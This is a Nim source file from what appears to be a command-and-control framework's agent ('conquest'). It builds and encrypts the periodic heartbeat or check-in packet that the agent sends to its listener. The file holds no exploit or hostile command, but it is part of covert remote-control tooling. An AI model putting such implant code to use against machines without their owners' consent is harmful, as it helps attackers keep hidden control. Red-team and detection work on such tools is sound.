Files
conquest/src/agent/protocol/heartbeat.nim

43 lines
1.2 KiB
Nim
Raw Normal View History

import times
2025-07-26 18:20:54 +02:00
import ../../common/[types, serialize, sequence, utils, crypto]
proc createHeartbeat*(ctx: AgentCtx): Heartbeat =
return Heartbeat(
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_HEARTBEAT),
2025-07-23 13:56:43 +02:00
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: string.toUuid(ctx.agentId),
2025-08-06 14:28:54 +02:00
seqNr: 0'u32,
iv: generateBytes(Iv),
gmac: default(AuthenticationTag)
),
listenerId: string.toUuid(ctx.listenerId),
timestamp: uint32(now().toTime().toUnix())
)
proc serializeHeartbeat*(ctx: AgentCtx, request: var Heartbeat): seq[byte] =
var packer = Packer.init()
# Serialize check-in / heartbeat request
packer
.add(request.listenerId)
.add(request.timestamp)
let body = packer.pack()
packer.reset()
# Encrypt check-in / heartbeat request body
let (encData, gmac) = encrypt(ctx.sessionKey, request.header.iv, body, request.header.seqNr)
# Set authentication tag (GMAC)
request.header.gmac = gmac
# Serialize header
let header = packer.serializeHeader(request.header, uint32(encData.len))
return header & encData